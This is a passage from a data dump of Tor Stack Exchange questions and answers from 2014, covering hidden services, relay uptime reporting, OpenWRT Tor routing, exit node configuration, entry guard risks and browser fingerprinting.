  <row Id="4252" PostTypeId="1" AcceptedAnswerId="4261" CreationDate="2014-09-30T21:13:05.470" Score="0" ViewCount="573" Body="&lt;p&gt;If I would have a Tor hidden service connect to a clearnet CDN(such as cloudflare), would the request made be the Tor exit node's IP or the server's IP?&lt;/p&gt;&#xA;" OwnerDisplayName="user3226" LastEditorDisplayName="user3226" LastEditDate="2014-10-01T22:59:12.960" LastActivityDate="2014-10-01T23:30:21.080" Title="CDN w/ Tor Hidden Service" Tags="|tor-browser-bundle|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4253" PostTypeId="2" ParentId="1187" CreationDate="2014-09-30T21:31:19.667" Score="-1" Body="&lt;p&gt;Open system preferences, then security &amp;amp; privacy, and then enable the &quot;anywhere&quot; option in general settings.&lt;/p&gt;&#xA;" OwnerUserId="3758" LastEditorUserId="100" LastEditDate="2014-10-02T02:44:26.520" LastActivityDate="2014-10-02T02:44:26.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4254" PostTypeId="2" ParentId="4209" CreationDate="2014-09-30T22:19:44.283" Score="1" Body="&lt;p&gt;Aside from the concerns expressed by Jobiwan and Herbalist, there is generally an association between the Windows product key and the user's identity. We know that activation and Windows Genuine Advantage testing require valid product keys. And so it's arguable that an adversary could identify users with cooperation from Microsoft, OEMs and retailers.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-09-30T22:19:44.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4257" PostTypeId="2" ParentId="4243" CreationDate="2014-10-01T05:06:08.827" Score="1" Body="&lt;p&gt;Well, the main problem is that the hardware you are using will not support the grugq's image. According to the specs &lt;a href=&quot;http://wiki.openwrt.org/toh/tp-link/tl-wr703n&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hardware only has 4mb flash memory, and to run Tor alone you will need at least half a meg of binaries. Thats the reason most commercial routers will not run Tor even with firmware changes. Arch linux is an unusual choice for host OS, but the raspberry should have resources to support it. If you are willing to use openwrt, there is a good tutorial on the Tor project site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/Torouter/OpenWRT_setup_notes&quot; rel=&quot;nofollow&quot;&gt;to hardware router&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a tutorial for running it based on debian also but not one for arch. &#xA;Installing openwrt will probably get you up and running the fastest. You can just login by ssh and update the package manager &#xA;&lt;code&gt;#opkg update&lt;/code&gt;&#xA;install Tor (might as well try the alpha versions)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#opkg install tor-alpha &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The login and overwrite your /etc directory with premade config files:&#xA;&lt;a href=&quot;http://torouter.com/sauce/current.tar.gz&quot; rel=&quot;nofollow&quot;&gt;vanilla tor router /etc directory&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3338" LastEditorUserId="923" LastEditDate="2014-11-27T03:44:10.763" LastActivityDate="2014-11-27T03:44:10.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4259" PostTypeId="2" ParentId="4245" CreationDate="2014-10-01T17:37:54.947" Score="1" Body="&lt;p&gt;If an exit operator routed all traffic through a private VPN, and the exit relay and VPN server were hosted by comparably trustworthy providers, I don't see any issues about anonymity. With no VPN, the provider hosting the Tor exit could sniff all traffic. With the VPN, the provider hosting the VPN exit could sniff all traffic, but the host of the Tor exit would see only encrypted VPN traffic. The Tor network would see the exit relay at the VPN exit IP address. That IP address could be changed, but so can any IP address. If there were too much bandwidth reduction and increased latency, however, the exit would be bad for the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that the help desk was considering a third-party VPN service, rather than a private VPN managed by the exit operator. In that case, the VPN provider could sniff exit traffic. That would introduce an additional unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even in that case, I think that it's overreaching to claim that it's &quot;not much more anonymous than using a VPN without Tor&quot;. Every Tor exit is uniquely identifiable by its IP address. I don't see how another IP address, not listed by the Tor Project, would break anonymity.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-10-01T17:37:54.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4260" PostTypeId="1" AcceptedAnswerId="4265" CreationDate="2014-10-01T17:42:56.200" Score="1" ViewCount="136" Body="&lt;p&gt;Both ATLAS and GLOBE say my node has been up for only 8 hours 30 minutes but the 3-day graph of uptime indictaes no interruption in that period (i.e. 100% uptime). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run 'arm' that indicates Tor has been running for considerably longer than 3 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is ATLAS/GLOBE trying to say when it presents apparently inconsistent data about a node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; 2 October: My broadband supplier uses dynamic IP address allocation. For reasons I cannot yet understand, it changes the allocated IP address of the host running Tor every so often. The running Tor process recognises this change and rebuilds its descriptor. GLOBE eventually picks up that the IP address of my node has changed and reflects the new uptime for the node in its headlines. However it does not upgrade the graph of uptime. Not sure whether that is deliberate or a bug. The 'arm' monitor shows the changed IP address but does not change the uptime. That seems to be a bug too.&lt;/p&gt;&#xA;" OwnerUserId="3607" LastEditorUserId="3607" LastEditDate="2014-10-02T15:31:18.327" LastActivityDate="2014-10-02T18:22:57.313" Title="ATLAS/GLOBE both say uptime is 8hrs 30mins but 3-day uptime graph is 100%. Why the inconsistency?" Tags="|relays|atlas|error|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4261" PostTypeId="2" ParentId="4252" CreationDate="2014-10-01T23:30:21.080" Score="2" Body="&lt;p&gt;Connections to Tor hidden services do not involve exit nodes. Both user and hidden service build circuits to the rendezvous point. If the hidden service were configured to simply redirect to a clearnet CDN, the CDN would see the server's clearnet IP address. The server could instead redirect through a separate Tor circuit, and in that case the CDN would see a Tor exit IP address. But the added latency might offset benefit from the CDN.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-10-01T23:30:21.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4262" PostTypeId="2" ParentId="4248" CreationDate="2014-10-02T00:04:32.507" Score="1" Body="&lt;p&gt;Transparency is an important aspect of Tor's design. Information about all relays (except bridges) is available for public review. Information about bridges is not published, in order to help protect them against censors. It's arguable that exit IPs should also remain private. But that would frustrate public review of exit ownership.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VFEmail welcomes Tor users, and provides a hidden service portal.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-10-02T00:04:32.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4263" PostTypeId="2" ParentId="4199" CreationDate="2014-10-02T14:20:52.500" Score="1" Body="&lt;p&gt;This is caused by a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10804&quot; rel=&quot;nofollow&quot;&gt;bug&lt;/a&gt; that has received a workaround with the new Tor Browser 3.6.6.&#xA;I used to have this problem with 3.6.4 and 3.6.5 but it seems to work fine now.&lt;/p&gt;&#xA;" OwnerUserId="3766" LastActivityDate="2014-10-02T14:20:52.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4264" PostTypeId="2" ParentId="4248" CreationDate="2014-10-02T15:16:33.133" Score="6" Body="&lt;p&gt;Did you hear about the millions of people that ride motorcycles safely to work and then home every day? Yeah, probably not - I didn't either, but I did hear about that horrible accident, and that made me worry about motorcycles being safe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact of the matter is, of all the people using Tor, you &lt;em&gt;never&lt;/em&gt; hear about the good things that Tor users do for sites, just like this one. You only hear about the spammers, trolls and psychopaths that use the service as a way to evade efforts to keep them from creating the disruptions that they do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We (Stack Exchange) do &lt;em&gt;not&lt;/em&gt; block Tor exit nodes, but a considerable number of them are currently being tracked by our spam prevention and abuse mitigation systems simply because Tor is a tool that does not discriminate against endeavor - a lot of people up to no good happen to use it because it fits their particular need quite well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes me sad that the &lt;em&gt;few&lt;/em&gt; - those that feel enabled or &lt;em&gt;entitled&lt;/em&gt; to be complete and total miscreant jerks can result in such an inconvenience for those that simply want to not be tracked, but it's unfortunately the way that it is, at least for now. &lt;/p&gt;&#xA;" OwnerUserId="121" LastActivityDate="2014-10-02T15:16:33.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4265" PostTypeId="2" ParentId="4260" CreationDate="2014-10-02T18:22:57.313" Score="0" Body="&lt;p&gt;The &quot;uptime&quot; here means different things. 8h 30 minutes is how long the node has been continuously up, without restarts or, it looks like, IP address changes. 100% is the percentage of time the node has been listed as up in the Tor directory. If you restart your node, it will reset the continuous uptime duration, but if it comes back quickly enough, it won't affect the uptime percentage. &lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-10-02T18:22:57.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4266" PostTypeId="1" CreationDate="2014-10-02T19:21:44.517" Score="5" ViewCount="36685" Body="&lt;p&gt;When using Google's Chrome browser to visit &lt;a href=&quot;https://www.torproject.org&quot;&gt;https://www.torproject.org&lt;/a&gt; I am rejected by the browser with the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your connection is not private&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Attackers might be trying to steal your information from&#xA;  www.torproject.org (for example, passwords, messages or credit cards).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Advanced info: www.torproject.org normally uses encryption to protect&#xA;  your information. When Chrome tried to connect to www.torproject.org&#xA;  this time, the website sent back unusual and incorrect credentials.&#xA;  Either an attacker is trying to pretend to be www.torproject.org, or a&#xA;  Wi-Fi sign-in screen has interrupted the connection. Your information&#xA;  is still secure because Chrome stpped the connection before any data&#xA;  was exchanged.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You cannot visit www.torproject right now because the website uses&#xA;  HSTS. Network errrors and attacks are usually temporary, so this page&#xA;  will probably work later.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;NET::ERR_CERT_COMMON_NAME_INVALID&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My request is not being intercepted by a Wi-Fi sign-in.&lt;br&gt;&#xA;Is this a misconfiguration of my browser? the webserver at www.torproject.org?Or is this likely an actual attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Google's help documentation on this occurence is here: &lt;a href=&quot;https://support.google.com/chrome/answer/4454607&quot;&gt;https://support.google.com/chrome/answer/4454607&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2015-12-26T21:14:15.323" Title="Why won't Google Chrome browser let me visit https://www.torproject.org?" Tags="|chrome|torproject.org|" AnswerCount="1" CommentCount="4" ClosedDate="2014-12-12T19:55:28.180" ContentLicense="CC BY-SA 3.0" />
  <row Id="4269" PostTypeId="2" ParentId="4245" CreationDate="2014-10-03T02:45:37.270" Score="1" Body="&lt;p&gt;It's not unsafe at all. Without VPN you are effectively as an exit node doing clearly the traffic of the remote Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just adds some more lag.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2014-10-03T02:45:37.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4270" PostTypeId="1" CreationDate="2014-10-03T05:48:03.920" Score="6" ViewCount="7678" Body="&lt;p&gt;Passing through all the traffic in the router to Tor sounds like a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there aren't any good documentations about the implementation of this idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please explain, how can someone, that has an OpenWRT flashed, example cheap router (with Gbit links and N wifi and USB): TL-WR1043ND configure it to route all the traffic that goes through it via Tor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if a user connects via cable or wifi to the router, all the traffic would be automagically routed to Tor network, without any client-side configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setup could be used in internet cafe's or wherever &quot;free&quot; internet is need to be deployed, and we don't want to face the legal consequences of what our wireless clients did on the internet..&lt;/p&gt;&#xA;" OwnerUserId="3769" LastEditorUserId="88" LastEditDate="2014-10-03T09:20:07.563" LastActivityDate="2014-10-04T07:21:00.650" Title="OpenWRT - route all the traffic through Tor" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4271" PostTypeId="1" AcceptedAnswerId="4730" CreationDate="2014-10-03T12:52:11.467" Score="1" ViewCount="429" Body="&lt;p&gt;I see in documentation of TorBirdy &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/torbirdy#SetupSteps&quot; rel=&quot;nofollow&quot;&gt;everywhere&lt;/a&gt; that it needs to look for Tor Daemon on port 9150 but Tor daemon on my system(Ubuntu 14.04) runs on 9050 by default. What am I missing? &lt;/p&gt;&#xA;" OwnerUserId="3772" LastActivityDate="2015-01-03T22:53:21.950" Title="Torbirdy looks for port 9150 whereas Tor daemon works on 9050" Tags="|torbirdy|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4272" PostTypeId="1" CreationDate="2014-10-03T15:08:34.450" Score="2" ViewCount="112" Body="&lt;p&gt;I am trying to use the website &lt;a href=&quot;http://lang-8.com/&quot; rel=&quot;nofollow&quot;&gt;Lang-8&lt;/a&gt; (a social networking site for language learning) with tor browser. I can create an account but I cannot log in. Whenever I enter my user name and password, I am redirected back to the welcome page of the site and I do not appear to be logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not get any kind of error message, so I don't think that the site is deliberately blocking tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that maybe https-everywhere is to blame, but I still cannot log in even if I disable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried both Tor Browser version 3.6.6 and 4.0-alpha-3 but I cannot log in to lang-8 with either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody had any success using lang-8 with Tor Browser?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It seems that NoScript is causing the problem. If I disable the NoScript extension in Tor Browser (via the Addons menu item in Firefox), I can log in to lang-8. Of course, turning off NoScript is not a viable long-term solution. I tried turning on NoScript again, but adding a regexp matching lang-8 urls to the NoScript XSS protection whitelist, but this didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have filed a &lt;a href=&quot;https://bugs.torproject.org/13332&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt; on trac.torproject.org related to this issue.&lt;/p&gt;&#xA;" OwnerUserId="3773" LastEditorUserId="3773" LastEditDate="2014-10-04T13:09:44.003" LastActivityDate="2015-02-13T14:07:26.873" Title="Logging into lang-8.com with Tor Browser" Tags="|tor-browser-bundle|javascript|website|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4274" PostTypeId="1" AcceptedAnswerId="4275" CreationDate="2014-10-03T16:04:37.943" Score="1" ViewCount="767" Body="&lt;p&gt;In my Tor Browser Bundle's (TBB's) 'torrc' file I have set 'EntryNode' to my node's fingerprint. This means that the TBB uses my node as its &quot;guard/entry&quot; relay. By monitoring my node with 'arm' I can see that this is working just as I expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only a temporary arrangement to help me explore the TBB and my (separately hosted) Tor node further. But I am curious as to whether this could be a longer-term arrangement. If I trust my laptop with the TBB on it then I also trust the box next to it that is running my Tor node!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the risks/downside of operating the TBB in this way? For this test I am only browsing harmless sites that provide a conistent download stream which I can monitor with 'arm'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTES:&lt;/strong&gt; On my Windows 8 system the TBB 'torrc' file (which is empty initially) is in the ~\Desktop\Tor Browser\Data\Tor folder. When I restarted the TBB after editing 'torrc', TBB immediately picked up my Tor node as its &quot;guard/entry&quot; relay.&lt;/p&gt;&#xA;" OwnerUserId="3607" LastActivityDate="2018-09-25T06:11:55.767" Title="I am using my Tor relay as my entry &quot;guard&quot; for the TBB. What are the risks/downside of doing this?" Tags="|tor-browser-bundle|configuration|guard|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4275" PostTypeId="2" ParentId="4274" CreationDate="2014-10-03T16:22:54.837" Score="0" Body="&lt;p&gt;There are some attacks on Tor that allow an adversary to learn your set of entry guards. (This is one of the motivation for switching to using a single entry guard, instead of a set of three, that is currently underway, because three guards can act as a sort of fingerprint for you.) In your case, those attacks would end up at your node, potentially allowing someone to deanonymize you.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-10-03T16:22:54.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4276" PostTypeId="1" CreationDate="2014-10-03T17:17:21.020" Score="1" ViewCount="239" Body="&lt;p&gt;I have a VPS (virtual private server) and I have set up a hidden service on it. The hidden service is accessible at &lt;a href=&quot;http://tor.kaankolkoy.net&quot; rel=&quot;nofollow&quot;&gt;http://tor.kaankolkoy.net&lt;/a&gt; &lt;em&gt;(try it via tor browser)&lt;/em&gt;. Everything working fine!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was searching for Tor's equivalent to &lt;code&gt;/var/log/apache2/access_log&lt;/code&gt; and found &lt;code&gt;/var/log/tor.log&lt;/code&gt;.&#xA;This file was interesting for me because I didn't set up a relay server and I can't find my server on &lt;a href=&quot;http://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;http://atlas.torproject.org/&lt;/a&gt; using my server's IP, yet these are in my tor.log file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Oct 03 10:36:35.000 [notice] Heartbeat: Tor's uptime is 7 days 0:00 hours, with 7 circuits open. I've sent 12.95 MB and received 72.74 MB.&#xA;Oct 03 10:36:35.000 [notice] Average packaged cell fullness: 84.164%&#xA;Oct 03 10:36:35.000 [notice] TLS write overhead: 5%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why did my server send and receive those bytes? &lt;/p&gt;&#xA;" OwnerUserId="3776" LastEditorUserId="350" LastEditDate="2014-12-08T22:38:16.730" LastActivityDate="2015-08-06T02:16:22.873" Title="I didn't setup relay but logs show data transferred" Tags="|onion-services|atlas|log|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4277" PostTypeId="1" CreationDate="2014-10-03T19:37:41.763" Score="2" ViewCount="951" Body="&lt;p&gt;I have the lines &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;StrictExitNodes 1&#xA;ExitNodes {us}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my torrc, but when I go to a site that requires me to be in the US (in this case &lt;a href=&quot;http://video.pbs.org/video/2365321775/&quot; rel=&quot;nofollow&quot;&gt;http://video.pbs.org/video/2365321775/&lt;/a&gt;), it still says that it's not available in my region. At &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt; I see that my IP is 96.47.226.20, and clicking on atlas it says that I'm in the US. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3777" LastEditorUserId="88" LastEditDate="2014-10-03T21:27:33.157" LastActivityDate="2014-10-07T05:10:21.663" Title="ExitNodes doesn't seem to work" Tags="|exit-relays|atlas|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4279" PostTypeId="5" CreationDate="2014-10-03T20:10:19.570" Score="0" Body="&lt;p&gt;The homepage for the Tor Foundation is &lt;em&gt;&lt;a href=&quot;https://www.torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org&lt;/a&gt;&lt;/em&gt;. Questions with this tag should relate directly to accessing or navigating the Tor Website (either through a Tor proxy or not).&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-10-04T14:46:07.967" LastActivityDate="2014-10-04T14:46:07.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4280" PostTypeId="4" CreationDate="2014-10-03T20:10:19.570" Score="0" Body="Torproject.org is the homepage for the Tor Foundation." OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-10-04T14:45:37.747" LastActivityDate="2014-10-04T14:45:37.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4281" PostTypeId="2" ParentId="4277" CreationDate="2014-10-03T21:34:25.650" Score="1" Body="&lt;p&gt;You don't necessarily do any thing wrong. The IP 96.47.226.20 is the exit relay &lt;a href=&quot;https://atlas.torproject.org/#details/9EA317EECA56BDF30CAEB208A253FB456EDAB1A0&quot; rel=&quot;nofollow&quot;&gt;bolobolo1&lt;/a&gt; which belongs to &lt;a href=&quot;https://torservers.net/&quot; rel=&quot;nofollow&quot;&gt;TorServers.net&lt;/a&gt;. Furthermore the country listing says United States. So everything seems right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it might be the case that NPR uses a geolocation database with old/wrong data. Here it helps to wait until your circuit changes and you use another exit relay. But they could also use a database where anonymous proxies are listed and block them. To be sure drop them an email and ask if this is true. Sometimes it helps to use open proxies or VPN connections with endpoints in the United States.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-10-03T21:34:25.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4282" PostTypeId="2" ParentId="4270" CreationDate="2014-10-04T05:37:10.370" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/OpenWRT&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; for this setup on the Tor project website is excellent:&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/OpenWRT&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/OpenWRT&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have OpenWRT installed already you can skip ahead a few steps in the instructions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that is outdated in the Tor project website documentation link there is that you no longer need to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;opkg install iptables-mod-nat iptables-mod-nat-extra&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;because those iptables packages have been inluded in the generic iptables package since openWRT 11.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to check for hardware compatibility on the OpenWRT website:&#xA;&lt;a href=&quot;http://wiki.openwrt.org/toh/tp-link/tl-wr1043nd&quot; rel=&quot;nofollow&quot;&gt;http://wiki.openwrt.org/toh/tp-link/tl-wr1043nd&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you have at least 8mb flash memory or you will need to seek out other hardware. &lt;/p&gt;&#xA;" OwnerUserId="3338" LastEditorUserId="88" LastEditDate="2014-10-04T07:21:00.650" LastActivityDate="2014-10-04T07:21:00.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4284" PostTypeId="1" CreationDate="2014-10-04T14:26:53.540" Score="0" ViewCount="399" Body="&lt;p&gt;I just noticed that my installation of TBB has lost my stored passwords. Also it can't save any new passwords or even set a new master password (there has been none).&#xA;I'm not sure, but the problems seem to coincide with the installation of the latest version. I extracted the tar on top of the old installation. But I've done it like that before without any ill effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using TBB 3.6.6 on Fedora 20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow-up on this:&#xA; Is it the &lt;code&gt;tor-browser_en-US/Data/Browser/profile.default/key3.db&lt;/code&gt; file that contains the saved password db? Because I ran a &lt;code&gt;db_verify&lt;/code&gt; on it and it gave the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db_verify: BDB0210 key3.db: metadata page checksum error&#xA;db_verify: BDB0522 Page 0: metadata page corrupted&#xA;db_verify: BDB0524 Page 0: pgno incorrectly set to 3523477504&#xA;db_verify: BDB0525 Page 0: bad magic number 4096&#xA;db_verify: BDB0126 mmap: Invalid argument&#xA;db_verify: BDB0530 Page 0: beyond the end of the file, metadata page has last page as 0&#xA;db_verify: key3.db: BDB0090 DB_VERIFY_BAD: Database verification failed&#xA;BDB5105 Verification of key3.db failed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any way to rescue this file or at least get the usernames/passwords in a human readable form out of it?&lt;/p&gt;&#xA;" OwnerUserId="3786" LastEditorUserId="88" LastEditDate="2014-10-04T22:42:51.760" LastActivityDate="2024-01-05T17:01:54.673" Title="TBB lost my stored passwords" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4285" PostTypeId="1" CreationDate="2014-10-04T14:30:12.550" Score="2" ViewCount="6335" Body="&lt;p&gt;I read a little bit about the HTML5 canvas image data here but I'm still not sure if it can reveal the IP when using Tor or not? My knowledge with this is quite limited since I'm new to all of this. Can the data &quot;only&quot; fingerprint my browser and identify it later with image information or can it also fully identify me by my true IP? I'm sorry for my bad english. I hope you could understand me. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3785" LastActivityDate="2017-11-22T00:01:43.307" Title="Can HTML5 canvas image data reveal the users IP?" Tags="|tor-browser-bundle|anonymity|security|configuration|deanonymization|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4286" PostTypeId="2" ParentId="4285" CreationDate="2014-10-04T19:21:06.050" Score="-1" Body="&lt;p&gt;&lt;strong&gt;Yes.&lt;/strong&gt; An adversary, especial a big one could fingerprint you using the HTML5 Canvas when you are using Tor. They can know detect you again using the canvas. Currently they don't know your IP Address. As soon as you use use normal Firefox or any other browser, they can detect it's you using the canvas and the information they collect earlier. Thus finding your IP Address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this is purely speculation on my part.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-10-04T19:21:06.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4287" PostTypeId="2" ParentId="4285" CreationDate="2014-10-05T00:19:02.563" Score="3" Body="&lt;p&gt;Quoting from &lt;a href=&quot;https://tor.stackexchange.com/a/3288/3349&quot;&gt;a previous answer&lt;/a&gt;;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#fingerprinting-linkability&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project design docs&lt;/a&gt; (under 4.6, than 2.HTML5 Canvas Image&#xA;Extraction) &amp;quot;The HTML5 Canvas is a feature that has been added to&#xA;major browsers after the EFF developed their Panopticlick study. After&#xA;plugins and plugin-provided information, we believe that the &lt;strong&gt;HTML5&#xA;Canvas is the single largest fingerprinting threat browsers face&#xA;today&lt;/strong&gt;. Initial studies show that the Canvas can provide an easy-access&#xA;fingerprinting target: The adversary simply renders WebGL, font, and&#xA;named color data to a Canvas element, extracts the image buffer, and&#xA;computes a hash of that image data. Subtle differences in the video&#xA;card, font packs, and even font and graphics library versions allow&#xA;the adversary to produce a stable, simple, high-entropy fingerprint of&#xA;a computer. In fact, the hash of the rendered image can be used almost&#xA;identically to a tracking cookie by the web server.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Also, &amp;quot;To reduce the threat from this vector, we have patched Firefox&#xA;to prompt before returning valid image data to the Canvas APIs. If the&#xA;user hasn't previously allowed the site in the URL bar to access&#xA;Canvas image data, pure white image data is returned to the Javascript&#xA;APIs.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user3349" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-10-05T00:19:02.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4288" PostTypeId="1" AcceptedAnswerId="6380" CreationDate="2014-10-05T00:23:37.357" Score="2" ViewCount="399" Body="&lt;p&gt;In reading this &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/4744&quot; rel=&quot;nofollow&quot;&gt;bug&lt;/a&gt; I can see that, in the past, Tor has been fingerprinted based on the cipher suites negotiated in the initial TLS handshake. Originally it looks like a copy of the cipher suites in a version of Firefox negotiating with Apache were used -- the goal being that it mimics a standard browser. The result of the bug was that the cipher suite was updated to look like other browsers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How effective is this solution? The &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/AChildsGardenOfPluggableTransports&quot; rel=&quot;nofollow&quot;&gt;pluggable transports page&lt;/a&gt; shows why this isn't perfect, but is there any information on whether it's currently being used to block connections?&lt;/li&gt;&#xA;&lt;li&gt;While a variety of suites are offered only a few can actually be used by Tor. Would a plausible active attack exist where an adversary could force force 